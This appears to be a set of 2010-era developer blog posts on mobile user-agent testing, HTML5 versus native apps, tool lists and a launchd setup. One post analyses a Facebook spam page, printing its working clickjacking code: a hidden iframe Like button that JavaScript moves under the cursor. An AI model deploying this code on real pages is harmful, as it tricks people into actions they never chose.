For browsing I use Chrome as it’s incredibly fast and based on webkit, the rendering engine inside Mobile Safari (iphone) and the Android Browser. While Firefox has some great tools that allow you to change the user-agent string, which is how most sites detect which version of the site to render, Chrome doesn’t have any easy-to-use extensions.

You can, however, change it from the command line when you launch the browser. To do this, close any open windows of Chrome and launch the following from the command line.

For Android I used the user-agent string from my HTC Evo:
/Applications/Google Chrome.app/Contents/MacOS/Google Chrome -user-agent="Mozilla/5.0 (Linux; U; Android 2.2; en-us; Sprint APA9292KT Build/FRF91) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1"

For the iPhone I used one for the iPhone 4:
/Applications/Google Chrome.app/Contents/MacOS/Google Chrome -user-agent="Mozilla/5.0 (iPhone; U; CPU iPhone OS 4_0 like Mac OS X; en-us) AppleWebKit/532.9 (KHTML, like Gecko) Version/4.0.5 Mobile/8A293 Safari/6531.22.7"

and for the iPad I used the one from my iPad:
/Applications/Google Chrome.app/Contents/MacOS/Google Chrome -user-agent="Mozilla/5.0 (iPad; U; CPU OS 4_2_1 like Mac OS X; en-us) AppleWebKit/533.17.9 (KHTML, like Gecko) Version/5.0.2 Mobile/8C148 Safari/6533.18.5"

To see the difference take a look at google.com with normal Chrome vs. with the Android user-agent:

The last few months my co-founder and I have been focused on developing a mobile application, and one of the biggest debates we had was whether we wanted to develop native applications for the iPhone and Android. Our initial perception was that we needed to develop a native app, because that’s where all the user’s are. After doing some more research, however, we decided that we would develop our initial version in HTML5. This post discusses why we made that decision.

First off, a little background about the state of mobile application development. There are two major ways to get your software to user’s on a mobile device:

• Build a native application
• Build a web version of your application – in HTML5

Building Native Apps

To build native apps you’ll need to build a version of your application for each mobile platform. The current dominant mobile platforms are Nokia’s Symbian (widely panned as not a true “smartphone platform”), Apple’s iOS, Google’s Android, BlackBerry’s BlackBerry OS. In addition, Palm’s WebOS may re-emerge as HP purchased them and may invest more in the platform, and Microsoft may roar back on the scene with the launch of Windows Phone 7.

Looking at that chart we can see we’ve got 4 major OS platforms to write for (subtracting Windows Mobile as it’s not long for the world), and 2 more looming on the horizon (Palm/HP’s WebOS, and Microsoft’s Windows Phone 7). Is it easy to build for these platforms?

• Symbian applications are written in C++, but some apps are written in Python and Adobe’s Flash. Most US app developers ignore Symbian’s platform, as it’s widely considered a lower-tier smartphone OS
• Android applications are written in Java and written specifically for the OS. Google provides lots of support resources, but do not provide native UI elements for many functions, and thus many applications written for the platform look radically different from one another.
• iOS applications are written in Objective-C, with a native UI library called Cocoa providing a lot of the UI elements. Most iOS applications therefore have a very similar UI
• RIM’s BlackBerry OS Applications are written in Java

One of the problems with developing for each platform is that there are differences between the devices on each platform. This has yet to become a huge deal, largely because the platforms are only a few years (I always pinch myself to remember: the iPhone launched only 3 years ago, in 2007!) old, but with Android there are differences in the OS versions (everywhere from version 1.5 to today’s current 2.2) and in the hardware devices, with iOS there are some running the latest version with multi-tasking and some not, and with BlackBerry some devices have a touchscreen and some do not. As a developer, writing for the different variations can be quite daunting!

In addition to writing across different languages and platforms there is another challenge to writing any kind of native application: installation and distribution. Bear with me a second while I tell an anecdote about applications: I remember my first job, in 1999, when I worked for an e-commerce company named SelfCare.com. For bug-tracking we used an application that the consulting company we hired, Cambridge Technology Partners, had written for us in Visual Basic. This application ran on each developer’s desktop and connected to a central server to pull down the data on the individual bugs. This worked fairly well, except when we had to fix a problem with the desktop software. The application’s developer would fire up his IDE, fix the problem, and then send out a mass email with an attached executable with the new software. Some people would inevitably not install, and would therefore be running old versions of the software with outdated features and problems. The same thing happens to native mobile applications these days: when you want to update your software to make a change (whether it be from market demand or a bug or innovation) some percentage of your users will ignore the change and blissfully go on using their old versions of the software. Some apps have taken to battling this by disabling use of the older versions until they update, but this is a terrible user experience – user’s don’t want to have to worry about updating their version of your software, they just want it to work!

To sum up the issues with writing native apps:

• Many different device platforms
• Differentiations in the devices and OS versions within the same platform
• Multiple languages to write software in, and different UI’s across the different devices
• Deploying updates can be difficult because users do not want to download and install new versions
• One more issue specific to iOS – Apple has a review process, where they will approve your application or not, and if they don’t like it you won’t get to distribute your application to their customers

Writing Web (HTML5) Apps
In Mark Suster’s strong piece, App is Crap, he argues that mobile applications will be the way of the future. If you think back to my example about bug-tracking software it’s easy to see the parallel to mobile software. In 2010 (almost) nobody runs a native desktop version of bug-tracking software – they all run web-based tools like bugzilla. The ubiquity of browsers with standards has led to application development being about writing applications for the web standard, and anyone with a modern browser being able to access it. If a new hot operating system platform came out tomorrow (fat chance of that) as long as it had a modern browser written, that user would have access to all the same web applications users of windows and OS X would.

A few years ago a friend and I were talking about what might be included in the next versions of the browser, and I said I thought that the introduction of vector graphics would be revolutionary, as all these background images and text effects created in photoshop would eventually be done in the browser. Fast forward a few years and HTML5 and CSS3 are finally bringing that promise to reality. HTML5 and CSS3 are next-generation variants of the underlying language powering the web – developers write their web-based software in using these technologies, and browsers interpret them (with others, like javascript) into the applications we know and love. This has also proved big for mobile devices, as features once available only for native apps are now available for web devices.

One of these features is the ability to detect touch and swipe gestures, specific to touch devices. This allows mobile web applications to respond to these events and not just think of the world as clicks. Mobile web frameworks such as jqTouch and Sencha Touch allow mobile web developers to develop better software with less code, and the proliferation of larger devices will lead to more searching on the device (as opposed to just downloading apps), which will result in more opportunities for developers to market their web-based apps.

There are limits to what a web-based mobile application can do, however:

• Mobile web applications cannot access some device specific features, like the camera, dialer, and contact list (note that the user’s location can be used in HTML5)
• Mobile web applications aren’t quite as sensitive to user’s actions as native apps are, and some actions are not accessible for mobile web apps
• There is no major app store for mobile web applications

The last point, the app store, seemed like the most compelling reason for my co-founder and I to go with native apps over mobile web apps. We figured that when we built a iOS mobile app and put it in Apple’s app store, people would download it, and we’d have instant distribution. After meeting with a few people familiar with this space, we discovered this is just not the case. Almost universally we heard that distribution is “difficult”, you need to “get lucky”, and that users “don’t search, they download from the top 10 lists”. We were most surprised to hear this reason, as it wiped out one of the biggest reasons to develop a native version of our app.

Final Thoughts
Ultimately there are pros and cons to building native and web-based mobile apps, at least in 2010. Coming from a web background, and subscribing to the “lean-startup” approach of iteration, I feel more comfortable with building a web application, looking at what my user’s are telling me with their actions (measurable web data – in clicks and touches), and making changes based on that feedback. Time will tell if I’m right, but I am betting that mobile web apps – using HTML5 – are the future, and native mobile apps, like desktop apps before them, will be afterthoughts for all but a few in the future.

‎:|:|:|:|:|:| Smoking Hot Bartenders :|:|:|:|:|

The “Smoking Hot Bartenders” site, of course, is some sort of spam site where the user is prompted to fill out some leadgen form (or offer) in order to access pictures of the “smoking hot bartenders”. Declining to do so, I closed the window and figured that was that.

I was quite surprised to check my feed today and notice that I had “liked” the same page on Facebook. How did this happen?

I decided to take a look at the site, http://cutebabesbartending.info/, and see how they were executing this very viral scheme.

The first thing you see when you land on the site, most likely from Facebook (and hence logged in), is a screen with some hot girls and a link to click through. This link is the key to the scheme.

Taking a look the source of the page we see:
[html]
<h2>
<a href="photos.html">Continue here to see photos</a>
</h2>
<div style="overflow: hidden; position: absolute; filter:alpha(opacity=0); -moz-opacity:0.0; -khtml-opacity: 0.0; opacity: 0.0;" id="aaaa">
<iframe src="http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Fcutebabesbartending.info%2F&amp;layout=standard&amp;show_faces=true&amp;width=450&amp;action=like&amp;font&amp;colorscheme=dark&amp;height=80" scrolling="no" frameborder="0" style="border:none; overflow:hidden; width:20px; height:20px;" allowTransparency="true" id="xxx" name="xxx"></iframe>
</div>
[/html]

Note we have here an absolutely positioned DIV with an IFRAME to the facebook like page. But where is the code that clicks the link? If they are triggering from the click why does this facebook like button fire? Check out the code below. Note that id xxx is the iframe itself, and aaaa is the facebook like button.

[html]
<script>
var xxx = 0;
var aaaa = document.getElementById(‘aaaa’);
var standardbody=(document.compatMode=="CSS1Compat")? document.documentElement : document.body

function lololol(e){
if (window.event) {
aaaa.style.top = (window.event.y-5)+standardbody.scrollTop+’px’;
aaaa.style.left = (window.event.x-5)+standardbody.scrollLeft+’px’;
}
else {
aaaa.style.top = (e.pageY-5)+’px’;
aaaa.style.left = (e.pageX-5)+’px’;
}
}
document.onmousemove = function(e) {
if (xxx == 0) {lololol(e);}
}
</script>
[/html]

This is kind of ingenious: they are re-drawing the Facebook like button so it follows your mouse around the screen, and when you click on the link you click on both the like button and the link to the next page!

But why don’t you see the like button? It’s because the opacity of the parent element is set to 0 (ie completely transparent, thanks to commenter Colby Russell for correcting me). Let’s change this and see what happens:

Look at that Facebook like button there by my cursor!

This is fairly brilliant spam – you click off of Facebook and unsuspectingly click on the link to get to the page where you assume there might be spam but you can ignore it. However, unbeknownst to you, you’ve already “liked” the spammy page, and it’s now sitting in your feed waiting for the next sucker, er… friend, to click on it.

Updated: commenter Ryan King notes that the term for this spammy technique is Clickjacking.

In this post I’m going to talk about some of the other tools I use to develop in. Before I go into the tools I should talk about my development machine, my several year old MacBook Pro 15″. According to “About This Mac”, it’s a 2.16GHz Intel Core 2 Duo with 3GB of RAM, and it’s running snow leopard (10.6 – does any one else find Mac’s naming scheme confusing?). I switched from windows to the Mac primarily because of the external aesthetics, and I have mixed feelings about the machine (more on that some other time, perhaps).

Tools

• Komodo Edit – Komodo Edit is a great freeware editor, derived from the full IDE Komodo IDE (which is not free). It’s not a full-featured IDE (no source control integration, for example), but it does syntax highlighting and supports intellisense (auto-completing method names, signatures, etc.) so it gets the job done – and of course the price is right
• I don’t know how most startups afford a full-featured image editor like Photoshop, so thankfully there is a decent open source competitor – the Gimp. It’s a strong knockoff with a ton of capabilities, and once you get by the interface idiosyncrasies you’ll wonder why you need to spend almost a grand on the real-deal. For those who are baffled by it I highly recommend this bit on getting unstuck.
• For those who have windows I also highly recommend paint.NET – it’s a less full-featured image editor than the Gimp, but it’s also a heck of a lot easier to use. It’s got some great features to do simple but useful things, like extending the length of a specific region of an image.
• For mockups I’ve been using the adobe air app Balsamiq since I discovered it while working on new features for Hark!. It’s not free (I believe it’s $79), but it supports all platforms as an air app (even linux, albeit poorly), and you save a lot of time creating mockups in it over drawing (and it’s cheaper than a license of Visio).
• I recently stumbled on Mockingbird, which looks a lot like a web knockoff of Balsamiq. It’s free while in beta, so it looks like it might be worth a whirl.
• When working with java two editors I used were Netbeans and Eclipse. Both are free, with the former being a Sun-sponsored (I think they bought the company) product, and the latter being a community based one, largely driven by IBM. I found both to be really useful, but Eclipse to be excruciatingly slow in some cases, so I ended up using Netbeans as the go-to.

Useful Frameworks

• For pulling data from the web you used to have to right your own web scraper/spider to gather data from different sites. But now a host of sraping frameworks have sprung up, and I highly recommend scrapy, which is written in python. There is really no reason to have to write your own spider anymore.

Mobile Tools

• Anyone can create a great mockup of a mobile app using MockApp, an open source mockup framework for powerpoint/etc. It basically gives you great widgets to use to make a mockup of your app.
• If you want to take your mockup a little further and actually build something, check out jQTouch – it’s a framework for developing apps that look like native iphone apps, but run in safari. If you want to have something that looks like an iphone app in a hurry this is the way to go.
• I’m going to talk about Titanium more in a later post, but it’s a javascript/html framework that allows you to build native mobile apps. The idea is that you write your app in javascript, and it compiles it to native code for iPhone, Android, and even Blackberry (if you pay for it). It’s awesome in theory and somewhat good in practice. There are other frameworks that do this as well, such as PhoneGap, and it’s in theory it’s a great way to write a native app for the mobile platform if you’re a web guy. In practice I’ve found Titanium to have mixed results, which is probably worthy of a future post on it’s own.

I’m sure all of you have discovered a ton of other great tools – what else should I be using?

In the past couple years I’ve been working for/on startups I’ve found that the world of internet development had changed fairly substantially since the time I seriously coded for work.

When I graduated from college in 1999 I went to work for an ecommerce company called SelfCare.com (we were going to be the Amazon of wellness products), and I was working in Microsoft’s Active Service Pages (ASP). No, not ASP.NET, but ASP, with it’s (horrendous) VBScript language. I left SelfCare a year later (it subsequently went out of business and was purchased for it’s assets almost immediately after I left) and worked for Ask Jeeves, where I worked in ASP and then got to lead the charge to ASP.NET (I got to spend some great time up at Microsoft getting the inside scoop on their new platform, which really was a huge step forward). A huge chunk of my coding time was spent trying to make my markup compatible for Netscape Communicator 4.7, so you know about when this was. A few years later I moved to management, and I really didn’t do a whole lot of coding for number of years.

Flash forward to 2009: I’m working at a startup, and I decide to roll up my sleeves and get my hands dirty again. Well, I’ve found there are a ton of tools, frameworks, and software that make my job as a developer much easier, so I decided to put together as list of them. I’ll start with Frameworks, Languages, and Hosting:

Frameworks and Languages

I used to write a lot of code by hand to get cross-browser compatibility, but the rise of AJAX frameworks has eliminated those incredibly tedious and laborious tasks. My code used to be very difficult to read as well, with HTML mixed in with scripting:

[html]
<div><% = request.POST["hello_world"] %></div>
[/html]

Yuck! Thankfully, the MVC Framework has changed all of that, and I rarely have to embed real code in markup. These frameworks help me do this:

• Python and Django/Pylons/Web.py/etc.. The former is a great dynamically typed language with a ton of web support, and the latter are MVC frameworks for it. Starting with these make your life a hell of a lot easier.
• Ruby on Rails. The former (Ruby) is the language, the latter (Rails) is a MVC framework with some AJAX (Prototype) mixed in. Ruby is very similar to python IMHO, and Rails makes it really easy to develop web apps, but I get nervous about the ORM in Rail, as I always wonder what it’s doing beneath my high level code.
• PHP and CakePHP. PHP is the P in LAMP, and is a really popular scripting language. It’s pretty limited (doesn’t do threads, for example) for some tasks, but it’s widely supported and a ton of great open source applications (like Joomla and Magento) are written in it. CakePHP is a well supported MVC for PHP.
• jQuery. The most successful AJAX library, and really easy to use. It’s hard for me to remember writing DOM manipulation in javascript, but that’s what I did before I found jQuery.
• Blueprint CSS Framework. Implementing layouts can be very time consuming, and in 2010 you definitely do not want to resort to html tables, so it’s best to do layouts using CSS positioning. For those of us who aren’t CSS experts thankfully there is help – the Blueprint CSS Framework makes your layout life a thousand times better. You can get table like layouts without a ton of work using Blueprint, which is a huge time saver.

Hosting and Servers

Cloud computing has taken off the past few years, and you no longer need to buy your own servers to get off the ground and going.

• Amazon EC2. I probably don’t need to explain this one, the best known cloud computing platform allows you to add server capacity at-will (and at-wallet). However, you pretty much need to run your own infrastructure as Amazon only provides base OS images – you’ll still need to do system administration on your EC2 instances.
• Media Temple. I use Media Temple for any PHP hosting needs, and with the $50/mo dedicated virtual instance I get root ssh access, which is great.
• Google App Engine. I’ve been using Google’s cloud computing service lot more recently, as it lets you get an application up quickly and for free (you pay as you consume more resources). Differing from Amazon’s EC2 in that Google doesn’t let you install your own OS and languages (you have to use what they provide), it’s great in that it’s free (well, it starts that way) and you don’t have to do much of your own system administration. App Engine currently supports java and python, and you can run any of the python MVC frameworks on it. I love that I can get a site up in less than a half hour by copying an existing app engine project, editing it, and moving my DNS there.

That’s the initial plumbing. I’ll talk more in my next post about editors, software tools, and other useful open source software.

In OS X it turns out the way to get a daemon to run is to run using launchd. The process to get one of these to run is to create an XML file in /Library/LaunchDaemons (there OS X has it’s own plist files in /Library/LaunchDaemons) and run launchctl to start the daemon.

I created my own daemon file for Sphinx, sphinx, in /Library/LaunchDaemons:

[xml]
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple Computer//DTD PLIST 1.0//EN"
"http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>Label</key>
<string>org.search.sphinx</string>
<key>UserName</key>
<string>simon</string>
<key>ProgramArguments</key>
<array>
<string>/usr/local/bin/searchd</string>
<string>–config</string>
<string>/Users/simon/source/mediawiki/wikinutrition/private/sphinx.conf</string>
</array>
<key>StandardOutPath</key>
<string>/var/log/sphinx/sphinx-startup.log</string>
<key>KeepAlive</key>
<true/>
<key>debug</key>
<true/>
<key>RunAtLoad</key>
<true/>
</dict>
</plist>
[/xml]
You can see I am running the daemon as myself using the UserName key.

Unfortunately when I went to start this using launchctl load -w /Library/LaunchDaemons/sphinx nothing appeared to happen. No error message, no nothing. When I turned the debug setting on (by adding <key&gtdebug</key><true/>), however, I noticed in /var/log/system.log a number of these messages:


Jun 15 17:13:26 simon-mosk-aoyamas-computer-6 com.apple.launchd[1] (org.search.sphinx): Throttling respawn: Will start in 10 seconds


Googling this led to this discovery from Apple:

Jobs run from launchd should not duplicate launchd functionality; for instance, they should not use chroot(2). Furthermore, they should not do the things normally required of daemon processes, such as detaching from the terminal they are initially attached to. The only things that are strictly prohibited, however, are fork()/exit() combinations (including indirect methods, such as the daemon(3) library call). A server which attempts to run itself as a daemon in this way will seem to have finished running, potentially leading to launchd respawning it, or disabling the service. As launchd does not get stalled waiting for a child that hasn’t yet exited, it’s not necessary to try to prevent it.

Bingo – here is the problem – Sphinx’s searchd starts and forks as it’s a traditional daemon. Thankfully it has a --console option which does not fork, so adding --console to the plist file (inside the <ProgramArguments> array) had me up and running!

The final file:
[xml]
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple Computer//DTD PLIST 1.0//EN"
"http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>Label</key>
<string>org.search.sphinx</string>
<key>UserName</key>
<string>simon</string>
<key>ProgramArguments</key>
<array>
<string>/usr/local/bin/searchd</string>
<string>–config</string>
<string>/Users/simon/source/mediawiki/wikinutrition/private/sphinx.conf</string>
<string>–console</string>
</array>
<key>StandardOutPath</key>
<string>/var/log/sphinx/sphinx-startup.log</string>
<key>KeepAlive</key>
<true/>
<key>debug</key>
<true/>
<key>RunAtLoad</key>
<true/>
</dict>
</plist>
[/xml]